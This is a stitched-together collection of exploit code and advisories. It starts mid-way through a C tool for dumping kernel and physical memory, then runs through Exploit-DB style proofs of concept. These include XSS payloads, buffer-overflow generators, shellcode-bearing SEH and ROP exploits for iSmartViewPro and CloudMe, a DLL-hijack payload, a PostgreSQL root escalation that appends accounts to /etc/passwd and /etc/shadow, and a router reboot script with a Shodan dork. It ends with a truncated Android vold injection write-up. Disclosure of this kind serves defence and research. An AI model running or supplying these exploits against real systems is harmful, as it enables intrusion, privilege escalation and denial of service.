assert(entry->start % PAGE_SIZE == 0);
assert(entry->end % PAGE_SIZE == 0);
memset(&empty, 0, sizeof(empty));
length = entry->end - entry->start;
print_mmap(entry->start, entry->end, entry->flags);
name_mmap(entry->start, entry->end, entry->flags,
&name[0], sizeof(name));
int fd = create_file_in_dir(dirfd, &name[0]);
size_t total_read = 0;
while (total_read < length) {
if (page_check_virt(entry->start + total_read)) {
unsigned long offset = page_virt_to_phys(
entry->start + total_read);
read_phys_memory(entry->start + total_read, offset,
PAGE_SIZE, fd);
} else {
write_bytes(fd, entry->start + total_read,
&empty[0], PAGE_SIZE);
}
total_read += PAGE_SIZE;
}
close(fd);
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
unsigned long get_phys_size() {
struct sysinfo info;
int rv = sysinfo(&info);
if (rv != 0) {
perror("sysinfo()");
return EXIT_FAILURE;
}
debug1("phys size: %016lx\n", info.totalram);
return info.totalram;
}
void phys_search(unsigned long start, unsigned long end, char *needle) {
char buffer[PAGE_SIZE];
int length = strlen(needle);
assert(length <= PAGE_SIZE);
unsigned long offset;
for (offset = start; offset < end; offset += PAGE_SIZE) {
if (offset % (32ul << 20) == 0)
info("[.] now at %016lx\n", offset);
if (!page_check_phys(offset))
continue;
phys_read_range(offset, length, &buffer[0]);
if (memcmp(&buffer[0], needle, length) != 0)
continue;
info("[+] found at %016lx\n", offset);
return;
}
info("[-] not found\n");
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#define CMD_IDT 1
#define CMD_PID 2
#define CMD_VIRT 3
#define CMD_PHYS 4
#define CMD_SEARCH 5
int g_cmd = 0;
static unsigned g_num = 1;
static unsigned g_pid = 0;
static unsigned long g_addr = 0;
static unsigned long g_length = 0;
static unsigned long g_offset = 0;
static const char *g_dir = NULL;
static const char *g_file = NULL;
static char *g_string = NULL;
static void print_usage(const char* name) {
info("Usage: \n");
info(" %s idt [NUM] "
"dump IDT entries\n", name);
info(" %s pid PID DIR "
"dump process memory\n", name);
info(" %s virt ADDR LENGTH [FILE] "
"dump virtual memory\n", name);
info(" %s phys OFFSET LENGTH [FILE] "
"dump physical memory\n", name);
info(" %s search STRING [OFFSET [LENGTH]] "
"search start of each physical page\n", name);
info("\n");
info(" NUM, PID - decimals\n");
info(" ADDR, LENGTH, OFFSET - hex\n");
info(" DIR, FILE, STRING - strings\n");
}
static bool parse_u(char *s, int base, unsigned *out) {
int length = strlen(s);
char *endptr = NULL;
unsigned long result = strtoul(s, &endptr, base);
if (endptr != s + length)
return false;
*out = result;
return true;
}
static bool parse_ul(char *s, int base, unsigned long *out) {
int length = strlen(s);
char *endptr = NULL;
unsigned long result = strtoul(s, &endptr, base);
if (endptr != s + length)
return false;
*out = result;
return true;
}
static int parse_cmd(const char *cmd) {
if (strcmp(cmd, "idt") == 0)
return CMD_IDT;
if (strcmp(cmd, "pid") == 0)
return CMD_PID;
if (strcmp(cmd, "virt") == 0)
return CMD_VIRT;
if (strcmp(cmd, "phys") == 0)
return CMD_PHYS;
if (strcmp(cmd, "search") == 0)
return CMD_SEARCH;
return 0;
}
static bool parse_args(int argc, char **argv) {
if (argc < 2)
return false;
g_cmd = parse_cmd(argv[1]);
switch (g_cmd) {
case CMD_IDT:
if (argc > 3)
return false;
if (argc >= 3 && !parse_u(argv[2], 10, &g_num))
return false;
return true;
case CMD_PID:
if (argc != 4)
return false;
if (!parse_u(argv[2], 10, &g_pid))
return false;
if (g_pid <= 0)
return false;
g_dir = argv[3];
debug1("CMD_PID %u %s\n", g_pid, g_dir);
return true;
case CMD_VIRT:
if (argc < 4 || argc > 5)
return false;
if (!parse_ul(argv[2], 16, &g_addr))
return false;
if (!parse_ul(argv[3], 16, &g_length))
return false;
if (argc == 5)
g_file = argv[4];
debug1("CMD_VIRT %016lx %016lx %s\n", g_addr,
g_length, g_file ? g_file : "NULL");
return true;
case CMD_PHYS:
if (argc < 4 || argc > 5)
return false;
if (!parse_ul(argv[2], 16, &g_offset))
return false;
if (!parse_ul(argv[3], 16, &g_length))
return false;
if (argc == 5)
g_file = argv[4];
debug1("CMD_PHYS %016lx %016lx %s\n", g_offset,
g_length, g_file ? g_file : "NULL");
return true;
case CMD_SEARCH:
if (argc < 3 || argc > 5)
return false;
g_string = argv[2];
if (argc >= 4 && !parse_ul(argv[3], 16, &g_offset))
return false;
if (argc >= 5 && !parse_ul(argv[4], 16, &g_length))
return false;
debug1("CMD_SEARCH <%s> %016lx %016lx\n",
g_string, g_offset, g_length);
return true;
default:
return false;
}
return true;
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
void handle_cmd_idt() {
info("[.] dumping IDT\n");
print_idt(g_num);
info("[+] done\n");
}
void handle_cmd_virt() {
int fd = -1;
info("[.] dumping virtual memory [%016lx, %016lx):\n",
g_addr, g_addr + g_length);
if (g_file != NULL)
fd = create_file(g_file);
read_virt_memory(g_addr, g_length, fd);
if (fd != -1)
close(fd);
info("[+] done\n");
}
void handle_cmd_phys() {
int fd = -1;
info("[.] dumping physical memory [%016lx, %016lx):\n",
g_offset, g_offset + g_length);
if (g_file != NULL)
fd = create_file(g_file);
read_phys_memory(0, g_offset, g_length, fd);
if (fd != -1)
close(fd);
info("[+] done\n");
}
void handle_cmd_pid() {
info("[.] dumping mmaps for %u:\n", g_pid);
int dirfd = open_dir(g_dir);
for_each_mmap(save_mmap, (void *)(unsigned long)dirfd);
close(dirfd);
info("[+] done\n");
}
void handle_cmd_search() {
unsigned long start = g_offset ? g_offset : 0;
unsigned long end = g_length ? (start + g_length) : get_phys_size();
info("[.] searching [%016lx, %016lx) for '%s':\n",
start, end, g_string);
phys_search(start, end, g_string);
info("[+] done\n");
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
int main(int argc, char **argv) {
assert(getpagesize() == PAGE_SIZE);
if (!parse_args(argc, argv)) {
print_usage(argv[0]);
exit(EXIT_FAILURE);
}
arbitrary_read_init();
if (g_cmd == CMD_IDT) {
handle_cmd_idt();
return EXIT_SUCCESS;
}
physmap_init();
switch (g_cmd) {
case CMD_VIRT:
pts_init(getpid());
handle_cmd_virt();
break;
case CMD_PHYS:
pts_init(0);
handle_cmd_phys();
break;
case CMD_SEARCH:
pts_init(0);
handle_cmd_search();
break;
case CMD_PID:
pts_init(g_pid);
handle_cmd_pid();
break;
}
return EXIT_SUCCESS;
}
# Exploit Title: MyBB Thank You/Like Plugin 3.0.0 - Cross-Site Scripting
# Date: 8/1/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=360
# Version: 3.0.0
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-14888
1. Description:
This plugin allows users to thank/like other users threads/posts. In user profiles it shows your most liked post/thread, the post/thread subjects aren't sanitized to user input.
2. Proof of Concept:
- Use the following as the post/thread subject <script>alert('XSS')</script>
- Get that post/thread liked by another user (or you)
- Visit your profile to see alert.
3. Solution:
Update to v3.1.0
# Exploit Title: MyBB Like Plugin 3.0.0 - Cross-Site Scripting
# Date: 2018-08-01
# Author: 0xB9
# Twitter: @0xB9Sec
# Software Link: https://community.mybb.com/mods.php?action=view&pid=360
# Version: 3.0.0
# Tested on: Ubuntu 18.04
# CVE: N/A
# 1. Description:
# This plugin allows users to thank/like other users threads/posts.
# In user profiles it shows your most liked post/thread, the post/thread
# subjects aren't sanitized to user input.
# 2. Proof of Concept:
- Use the following as the post/thread subject <script>alert('XSS')</script>
- Get that post/thread liked by another user (or you)
- Visit your profile to see alert.
# Exploit Title: Xss Zimbra Mail server
# Google Dork:
# Date: 2018/08/10
# Exploit Author: Dinbar78
# Vendor Homepage: https://www.zimbra.com/
# Version: 8.6.0_GA_1153 (build 20141215151110)
# bug 103609 or CVE-2016-3411
Payload: es.
https:// (zimbrasite)/h/changepass?skin="><script>alert('hacked');</script>
# Exploit Title: iSmartViewPro 1.5 - 'Password' Buffer Overflow
# Discovery by: Javier Enrique Rodriguez Gutierrez
# Discovery Date: 2018-08-09
# Vendor Homepage: https://securimport.com/
# Software Link: https://securimport.com/university/videovigilancia-ip/software/493-software-ismartviewpro-v1-5
# Tested Version: 1.5
# Vulnerability Type: Buffer Over Flow Local
# Tested on OS: Windows 7 Professional x64 es
# Steps to Produce the BoF:
# 1.- Run python code : python generate.py
# 2.- Open generate.txt and copy content to clipboard
# 3.- Open iSmartViewPro
# 4.- clic button "+"
# 5.- Select "add device manually"
# 6.- device alias -> "admin"
# 7.- DNS/IP/DID -> "0.0.0.0"
# 8.- acount -> "admin"
# 9.- paste ClipBoard on "Password"
# 10.- Save
# 11.- BoF
#!/usr/bin/env python
# -*- coding: utf-8 -*-
buffer = "\x41" * 447
eip = "\x42" * 4
f = open ("generate.txt", "w")
f.write(buffer + eip)
f.close()
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-DIRECTX-SDK-XACT.EXE-TROJAN-FILE-CODE-EXECUTION.txt
[+] ISR: Apparition Security
***Greetz: indoushka | Eduardo***
Vendor
=============
www.microsoft.com
Product
===========
Microsoft DirectX SDK (June 2010) Xact3.exe
https://www.microsoft.com/en-us/download/details.aspx?id=6812
XACT (Cross-platform audio creation tool) is an audio creation and authoring tool from Microsoft.
It comes with a graphical interface that allows sound designers to create audio resources for games,
that can be integrated into XNA projects, offering the game developer a convenient way of accessing these sounds.
Vulnerability Type
===================
Remote Code Execution
CVE Reference
==============
N/A
Security Issue
================
Microsoft DirectX SDK "Xact3.exe" Cross-platform tool allows for arbitrary code execution via a Trojan horse file "xbdm.dll"
in the current working directory, upon opening a ".xap" project file from same location.
The DirectX SDK deprecated but still avail for download at time of this writing ...
Exploit/POC
=============
1) create DLL 32bit DLL named "xbdm.dll" and place on a remote share
2) create an empty file with a ".xap" extension on the same share, this will open using "Xact3.exe" as its default
3) open the the .xap file from the Network share then BOOM!
#include <windows.h>
/* hyp3rlinx */
/*
gcc -c -m32 xbdm.c
gcc -shared -m32 -o xbdm.dll xbdm.o
*/
void executo(){
MessageBox( 0, "3c184981367094fce3ab70efc3b44583" , "philbin " , MB_YESNO + MB_ICONQUESTION );
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
switch(fdwReason){
case DLL_PROCESS_ATTACH:{
executo();
break;
}
case DLL_PROCESS_DETACH:{
executo();
break;
}
case DLL_THREAD_ATTACH:{
executo();
break;
}
case DLL_THREAD_DETACH:{
executo();
break;
}
}
return TRUE;
}
Network Access
===============
Remote
Severity
=========
High
Disclosure Timeline
=============================
Vendor Notification: June 7, 2018
MSRC Case 45973 : June 13, 2018
MSRC : "While your finding is valid, we won’t service this issue because the legacy DirectX SDK is deprecated." : August 10, 2018
August 11, 2018 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
# Exploit Title : Acunetix Web Vulnerability Scanner 10.0 Build 20150623 - Denial of Service (PoC)
# Discovery by: Javier Enrique Rodriguez Gutierrez
# Discovery Date : 2018-08-11
# Vendor Homepage: https://www.acunetix.com
# Tested Version : 10.0
# Vulnerability Type : Denial of Service (PoC)
# Tested on OS : Windows 10 PRO x86 en
# 1 . run python code : python generate.py
# 2 . open generate.txt and copy content to clipboard
# 3 . open "Acunetix Web Vulnerability Scanner 10.0"
# 4 . from Tools Explorer --> subdomain scanner
# 5 . Paste ClipBoard on "Domain"
# 6 . Click start
# 7 . Crashed
#!/usr/bin/env python
# -*- coding: utf-8 -*-
buffer = "\x41" * 2769
f = open ("generate.txt", "w")
f.write(buffer)
f.close()
# Exploit Title: IP Finder 1.5 - Denial of Service (PoC)
# Author: Shubham Singh
# Known As: Spirited Wolf [Twitter: @Pwsecspirit]
# Discovey Date: 2018-08-12
# Software Link: https://securimport.com/university/index.php/videovigilancia-ip/software/429-ip-finder
# Tested Version: 1.5
# Tested on OS: Windows XP Service Pack 3 x86
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the Search&Config Tool program paste the content of
# "exploit.txt" in password field. You will see a crash.
#!/usr/bin/python
buffer = "A" * 1500
payload = buffer
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
# Exploit Title: PostgreSQL 9.4-0.5.3 - Privilege Escalation
# Date: 2017-10-11
# Exploit Author: Johannes Segitz
# Vendor Homepage: https://bugzilla.suse.com/show_bug.cgi?id=1062722
# Software Link: -
# Version: Before postgresql-init-9.4-0.5.3.1
# Tested on: SUSE Linux Enterprise 11 SP4
# CVE : CVE-2017-14798
#!/bin/sh
# don't use spaces or other funny characters in here
CRON_DIR='/etc/cron.hourly'
CRON_FILE="$CRON_DIR/totally_not_a_lpe"
declare -a CLEANUP_ELEMENTS=('base' 'global' 'pg_clog' 'pg_hba.conf' 'pg_ident.conf' 'pg_multixact' 'pg_subtrans' 'pg_tblspc' 'pg_twophase' 'PG_VERSION' 'pg_xlog' 'postgresql.conf')
if [ "$(whoami)" != "postgres" ]; then
echo "Must be run as user postgres"
exit -1
fi
cd
echo setting up exploit
mv data data2
ln -s $CRON_DIR data
echo waiting for DB restart
while [ ! -w $CRON_DIR ]; do
sleep 1
done
echo able to write $CRON_DIR
echo '#!/bin/sh' > $CRON_FILE
echo 'echo '"'"'pg_root:x:0:0:,,,:/home/pg_root:/bin/bash'"'"' >> /etc/passwd' >> $CRON_FILE
echo 'echo '"'"'pg_root:$2y$05$6F6hHGfvZ42Mq1EF8V.e8uguGumaZsZ4P9qfjiuHFT/k8B2CZrJaO:16339:0:99999:7:::'"'"' >> /etc/shadow' >> $CRON_FILE
echo "rm $CRON_FILE" >> $CRON_FILE
echo "chown root.root ${CRON_DIR}" >> $CRON_FILE
chmod +x $CRON_FILE
if [ -e $CRON_FILE ]; then
echo wrote $CRON_FILE
else
echo failed to write $CRON_FILE, exiting
exit 1
fi
echo cleaning up
for i in "${CLEANUP_ELEMENTS[@]}"; do
rm -rf "$CRON_DIR/$i"
done
rm data
mv data2 data
echo now wait, depending on CRON_DIR setting you should be able to log into this system with pg_root:foobar soonish. Enjoy!
# Exploit Title: iSmartViewPro 1.5 - 'SavePath for ScreenShots' Local Buffer Overflow
# Author: Shubham Singh
# Known As: Spirited Wolf [Twitter: @Pwsecspirit]
# Discovey Date: 2018-08-12
# Software Link: https://securimport.com/university/videovigilancia-ip/software/493-software-ismartviewpro-v1-5
# Tested Version: 1.5
# Tested on OS: Windows XP Service Pack 3 x86
# Steps to Reproduce:
# Run the python exploit script, it will create a new file with the name
# "exploit.txt" just copy the text inside "exploit.txt" and start the
# iSmartViewPro 1.5 program and click on "System Setup" in the
# "Save Path for Snapshot and Record file" field. Paste the content of
# "exploit.txt" and click on Save. You will see a sweet calculator poped up.
# Greetz: @FuzzySec @LiveOverflow @hexachordanu @HansSecurity
#!/usr/bin/python
buffer = "A" * 272
#0x6a192c79 : call ebp | asciiprint,ascii {PAGE_EXECUTE_READ} [avcodec-54.dll]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\iSmartViewPro\avcodec-54.dll)
eip = "\x79\x2C\x19\x6A"
nops = "\x90" *12
#badchar \x00\x0a\x0d
#msfvenom -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f python
buf = ""
buf += "\xba\x9a\x98\xaf\x7e\xdd\xc2\xd9\x74\x24\xf4\x5f\x29"
buf += "\xc9\xb1\x31\x83\xc7\x04\x31\x57\x0f\x03\x57\x95\x7a"
buf += "\x5a\x82\x41\xf8\xa5\x7b\x91\x9d\x2c\x9e\xa0\x9d\x4b"
buf += "\xea\x92\x2d\x1f\xbe\x1e\xc5\x4d\x2b\x95\xab\x59\x5c"
buf += "\x1e\x01\xbc\x53\x9f\x3a\xfc\xf2\x23\x41\xd1\xd4\x1a"
buf += "\x8a\x24\x14\x5b\xf7\xc5\x44\x34\x73\x7b\x79\x31\xc9"
buf += "\x40\xf2\x09\xdf\xc0\xe7\xd9\xde\xe1\xb9\x52\xb9\x21"
buf += "\x3b\xb7\xb1\x6b\x23\xd4\xfc\x22\xd8\x2e\x8a\xb4\x08"
buf += "\x7f\x73\x1a\x75\xb0\x86\x62\xb1\x76\x79\x11\xcb\x85"
buf += "\x04\x22\x08\xf4\xd2\xa7\x8b\x5e\x90\x10\x70\x5f\x75"
buf += "\xc6\xf3\x53\x32\x8c\x5c\x77\xc5\x41\xd7\x83\x4e\x64"
buf += "\x38\x02\x14\x43\x9c\x4f\xce\xea\x85\x35\xa1\x13\xd5"
buf += "\x96\x1e\xb6\x9d\x3a\x4a\xcb\xff\x50\x8d\x59\x7a\x16"
buf += "\x8d\x61\x85\x06\xe6\x50\x0e\xc9\x71\x6d\xc5\xae\x8e"
buf += "\x27\x44\x86\x06\xee\x1c\x9b\x4a\x11\xcb\xdf\x72\x92"
buf += "\xfe\x9f\x80\x8a\x8a\x9a\xcd\x0c\x66\xd6\x5e\xf9\x88"
buf += "\x45\x5e\x28\xeb\x08\xcc\xb0\xc2\xaf\x74\x52\x1b"
pad = "B" * (600 - len(eip) - len(buffer) - len(nops) - len(buf) )
payload = buffer + eip + nops + buf + pad
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
# Exploit Title: PLC Wireless Router GPN2.4P21-C-CN Unauthenticated Remote Reboot
# Date: 8/12/2018
# Exploit Author: Chris Rose
# Affected Model : GPN2.4P21-C-CN(Firmware: W2001EN-00)
# Vendor: ChinaMobile
# Tested on: Debian Linux
# Shodan dork- title:PLC
# CVE: None
#Description: PLC Wireless Router's are vulnerable to a unauthenticated remote reboot
# which can be achieved through sending a modified http request. The script below will
# take a user suppled IP address of a PLC router and send the exploit to the device.# Use the Shodan dork above to find PLC wireless routers.
import requests
import time
target = raw_input("Enter target IP: ")
post_data = {'reboot' : 'Reboot', 'obj-action' : 'reboot', 'var%3Anoredirect' : '1', 'var%3Amenu' : 'maintenance', 'var%3Apage' : 'system', 'var%3Aerrorpage' : 'system', 'getpage' : 'html%2Fpage%2Frestarting.html'}
exploit = requests.post("http://"+target+":8080/cgi-bin/webproc", data=post_data)
print ("Sent exploit attempt to %s")% target
time.sleep(1.2)
print ("Test if device is offline.")
time.sleep(1.5)
print ("Visit http://"+target+":8080/")
# Exploit Title: [IBM Sterling B2B Integrator persistent cross-site scripting]
# Exploit Author: [Vikas Khanna] (https://www.linkedin.com/in/leetvikaskhanna/) (https://twitter.com/MR_SHANU_KHANNA)
# Vendor Homepage: [https://www.ibm.com/support/knowledgecenter/en/SS3JSW_5.2.0/com.ibm.help.overview.doc/si_overview.html]
# Version: [IBM Sterling B2B Integrator 5.2.0.1 - 5.2.6.3] (REQUIRED)
# CVE : [CVE-2018-1513 & CVE-2018-1563]
Vulnerability Details
Vulnerability Name : Persistent Cross Site Scripting
Affected Parameter(s) : fname & lname
Steps to reproduce
Step 1 : Login to the IBM Sterling B2B Integrator.
Step 2 : Navigate to Performance Tuning module, Username will be displayed as below :-
Last Edited By <USERNAME>
Note :- Modify the configuration for example and check the Last Edited By - Username. Any user (Admin or Non admin) who have privileges to change the configuration can act like an attacker.
Step 3 : Navigate to My Account and update first name and last name.
Step 4: Intercept the request using burp suite and insert the <Video><source onerror=”alert(1)”> payload & <Video><source onerror=”alert(2)”> payload in fname and lname parameter.
Step 5 : It has been observed that My account module is not vulnerable to XSS but Performance Tuning tab under Operations -> Performance is vulnerable, as the Performance Tuning tab displays the user’s first name and last name separately as “Last Edited By USERNAME”.
Step 6 : Now navigate to Performance Tuning module. It is seen that the application is vulnerable to Persistent Cross Site Scripting.
Note : It has been observed that any user who has access to Performance Tuning tab will be vulnerable and the same javascript payload will execute for them as well.
# Exploit Title: CloudMe Sync 1.10.9 - Buffer Overflow (SEH)(DEP Bypass)
# Date: 2018-08-05
# Exploit Author: Manoj Ahuje
# Linkedin: https://www.linkedin.com/in/manojahuje/
# Vendor Homepage: https://www.cloudme.com/
# Software Link: https://www.cloudme.com/downloads/CloudMe_1109.exe
# Tested on: Windows 10 Home (x64)
#!/usr/bin/env python
import socket,struct
print 'CloudMe Sync v1.10.9 Buffer Overflow with DEP Bypass on Win10 x64'
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x61ba8b5e, # POP EAX # RETN [Qt5Gui.dll]
0x690398a0, # ptr to &VirtualAlloc() [IAT Qt5Core.dll]
0x61cd7f74, # MOV EAX,DWORD PTR DS:[EAX] # RETN [Qt5Gui.dll]
0x68d50536, # XCHG EAX,ESI # RETN [Qt5Core.dll]
0x699f619a, # POP EBP # RETN [Qt5Network.dll]
0x68f7a81b, # & jmp esp [Qt5Core.dll]
0x68f9a472, # POP EDX # RETN [Qt5Core.dll]
0xffffffff, # Value to negate, will become 0x00000001
0x6eb47052, # NEG EDX # RETN [libgcc_s_dw2-1.dll]
0x68c7af10, # POP EBX # RETN [Qt5Core.dll]
0xffffffff, #
0x6201df92, # INC EBX # RETN [Qt5Gui.dll]
0x68f8063c, # ADD EBX,EDX # ADD AL,0A # RETN [Qt5Core.dll]
0x61f03b9c, # POP EAX # RETN [Qt5Gui.dll]
0x7cfc896b, # put delta into eax (-> put 0x00001000 into edx)
0x69a76004, # ADD EAX,83038642 # ADD AL,53 # RETN [Qt5Network.dll]
0x62035b71, # XCHG EAX,EDX # RETN [Qt5Gui.dll]
0x61db4eca, # POP EAX # RETN [Qt5Gui.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x6fe4ceaa, # NEG EAX # RETN [libstdc++-6.dll]
0x68fb862d, # XCHG EAX,ECX # RETN [Qt5Core.dll]
0x68b13f2a, # POP EDI # RETN [Qt5Core.dll]
0x6fe4ceac, # RETN (ROP NOP) [libstdc++-6.dll]
0x61ba8fa8, # POP EAX # RETN [Qt5Gui.dll]
0x90909090, # nop
0x61bf7fca, # PUSHAD # RETN [Qt5Gui.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
#msf payload calc alpha numeric
shellcode = ""
shellcode += "\x89\xe3\xd9\xe5\xd9\x73\xf4\x5a\x4a\x4a\x4a\x4a"
shellcode += "\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43"
shellcode += "\x43\x37\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41"
shellcode += "\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42"
shellcode += "\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
shellcode += "\x6c\x6b\x58\x4e\x62\x63\x30\x57\x70\x77\x70\x53"
shellcode += "\x50\x6e\x69\x6b\x55\x64\x71\x39\x50\x50\x64\x6e"
shellcode += "\x6b\x42\x70\x64\x70\x6c\x4b\x43\x62\x36\x6c\x6e"
shellcode += "\x6b\x43\x62\x75\x44\x6e\x6b\x52\x52\x64\x68\x46"
shellcode += "\x6f\x38\x37\x50\x4a\x76\x46\x64\x71\x4b\x4f\x4e"
shellcode += "\x4c\x77\x4c\x35\x31\x61\x6c\x77\x72\x76\x4c\x37"
shellcode += "\x50\x4a\x61\x5a\x6f\x74\x4d\x37\x71\x39\x57\x38"
shellcode += "\x62\x5a\x52\x30\x52\x66\x37\x6e\x6b\x50\x52\x62"
shellcode += "\x30\x6c\x4b\x62\x6a\x57\x4c\x6c\x4b\x52\x6c\x47"
shellcode += "\x61\x74\x38\x6d\x33\x71\x58\x43\x31\x38\x51\x50"
shellcode += "\x51\x6c\x4b\x33\x69\x67\x50\x35\x51\x48\x53\x6e"
shellcode += "\x6b\x57\x39\x75\x48\x69\x73\x54\x7a\x63\x79\x4e"
shellcode += "\x6b\x35\x64\x6c\x4b\x35\x51\x6a\x76\x46\x51\x39"
shellcode += "\x6f\x6e\x4c\x6f\x31\x48\x4f\x44\x4d\x36\x61\x48"
shellcode += "\x47\x34\x78\x6b\x50\x74\x35\x69\x66\x73\x33\x73"
shellcode += "\x4d\x49\x68\x55\x6b\x43\x4d\x47\x54\x74\x35\x68"
shellcode += "\x64\x63\x68\x4e\x6b\x46\x38\x66\x44\x33\x31\x59"
shellcode += "\x43\x61\x76\x6c\x4b\x66\x6c\x50\x4b\x4c\x4b\x50"
shellcode += "\x58\x47\x6c\x65\x51\x69\x43\x6c\x4b\x63\x34\x6e"
shellcode += "\x6b\x43\x31\x68\x50\x4e\x69\x61\x54\x65\x74\x65"
shellcode += "\x74\x51\x4b\x51\x4b\x73\x51\x73\x69\x62\x7a\x42"
shellcode += "\x71\x69\x6f\x39\x70\x51\x4f\x73\x6f\x43\x6a\x4e"
shellcode += "\x6b\x52\x32\x78\x6b\x4e\x6d\x31\x4d\x53\x5a\x67"
shellcode += "\x71\x6c\x4d\x4f\x75\x48\x32\x57\x70\x77\x70\x43"
shellcode += "\x30\x66\x30\x61\x78\x46\x51\x6e\x6b\x70\x6f\x6e"
shellcode += "\x67\x59\x6f\x6b\x65\x4f\x4b\x78\x70\x6d\x65\x39"
shellcode += "\x32\x50\x56\x73\x58\x6c\x66\x6c\x55\x4d\x6d\x6d"
shellcode += "\x4d\x49\x6f\x49\x45\x65\x6c\x45\x56\x73\x4c\x45"
shellcode += "\x5a\x6b\x30\x6b\x4b\x39\x70\x53\x45\x34\x45\x4d"
shellcode += "\x6b\x42\x67\x65\x43\x63\x42\x70\x6f\x50\x6a\x37"
shellcode += "\x70\x66\x33\x6b\x4f\x69\x45\x30\x63\x35\x31\x72"
shellcode += "\x4c\x65\x33\x76\x4e\x75\x35\x42\x58\x45\x35\x67"
shellcode += "\x70\x41\x41"
host='127.0.0.1'
#payload = "A" * (2236+116)
junk1 = "A"*(156+48)
rop=rop_chain
nop = "\x90"*10
junk2="D"*(2236+116-len(junk1)-len(rop)-len(nop)-len(shellcode))
nseh = "GGGG"
seh = struct.pack('<L',0x699CCB7F)#network Address=699CCB7F Disassembly=ADD ESP,83C
trigger = "B"*50000
payload = junk1+rop+nop+shellcode+junk2 +nseh + seh + trigger
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,8888))
s.send(payload)
print 'Check calculator should be running'
# Exploit Title: Switch Port Mapping Tool 2.81.2 - 'Name Field' Denial of Service (PoC)
# Discovery by: Shubham Singh
# Known As: Spirited Wolf [Twitter: @Pwsecspirit]
# Discovey Date: 2018-08-13
# Vendor Homepage: https://switchportmapper.com/
# Software Link: https://switchportmapper.com/download/spm2812.zip
# Tested Version: 2.81.2
# Tested on OS: Windows 7 Ultimate x86_64
# Steps to Reproduce:
# Run the python exploit script, it will create a new file with the name
# "exploit.txt". Just copy the text inside "exploit.txt" and start the
# Managed Switch Port Mapping Tool 2.81.2 program and click on "Enter Key".
# In the 'Name field' paste the content of "exploit.txt" and click
# on "OK". You will see a crash.
#!/usr/bin/env python
file = open("exploit.txt","wb")
junk = "A" * 3000
exploit = junk
buf = exploit
file.write(buf)
file.close()
When a USB mass storage device is inserted into an Android phone (even if the
phone is locked!), vold will attempt to automatically mount partitions from the
inserted device. For this purpose, vold has to identify the partitions on the
connected device and collect some information about them, which is done in
readMetadata() in system/vold/Utils.cpp. This function calls out to "blkid",
then attempts to parse the results:
std::vector<std::string> cmd;
cmd.push_back(kBlkidPath);
cmd.push_back("-c");
cmd.push_back("/dev/null");
cmd.push_back("-s");
cmd.push_back("TYPE");
cmd.push_back("-s");
cmd.push_back("UUID");
cmd.push_back("-s");
cmd.push_back("LABEL");
cmd.push_back(path);
std::vector<std::string> output;
status_t res = ForkExecvp(cmd, output, untrusted ? sBlkidUntrustedContext : sBlkidContext);
if (res != OK) {
LOG(WARNING) << "blkid failed to identify " << path;
return res;
}
char value[128];
for (const auto& line : output) {
// Extract values from blkid output, if defined
const char* cline = line.c_str();
const char* start = strstr(cline, "TYPE=");
if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) {
fsType = value;
}
start = strstr(cline, "UUID=");
if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) {
fsUuid = value;
}
start = strstr(cline, "LABEL=");
if (start != nullptr && sscanf(start + 6, "\"%127[^\"]\"", value) == 1) {
fsLabel = value;
}
}
Normally, the UUID string can't contain any special characters because blkid
generates it by reformatting a binary ID as a printable UUID string. However,
the version of blkid that Android is using will print the LABEL first, without
escaping the characters this code scans for, allowing an attacker to place
special characters in the fsUuid variable.
For example, if you format a USB stick with a single partition, then place a
romfs filesystem in the partition as follows (on the terminal of a Linux PC):
# echo '-rom1fs-########TYPE="vfat" UUID="../../data"' > /dev/sdc1
and then connect the USB stick to a Nexus 5X and run blkid as root on the
device, you'll see the injection:
bullhead:/ # blkid -c /dev/null -s TYPE -s UUID -s LABEL /dev/block/sda1
/dev/block/sda1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs"
logcat shows that the injection was successful and the device is indeed using
the injected values, but vold doesn't end up doing much with the fake UUID
because fsck_msdos fails:
05-29 20:41:26.262 391 398 V vold : /dev/block/vold/public:8,1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs"
05-29 20:41:26.262 391 398 V vold :
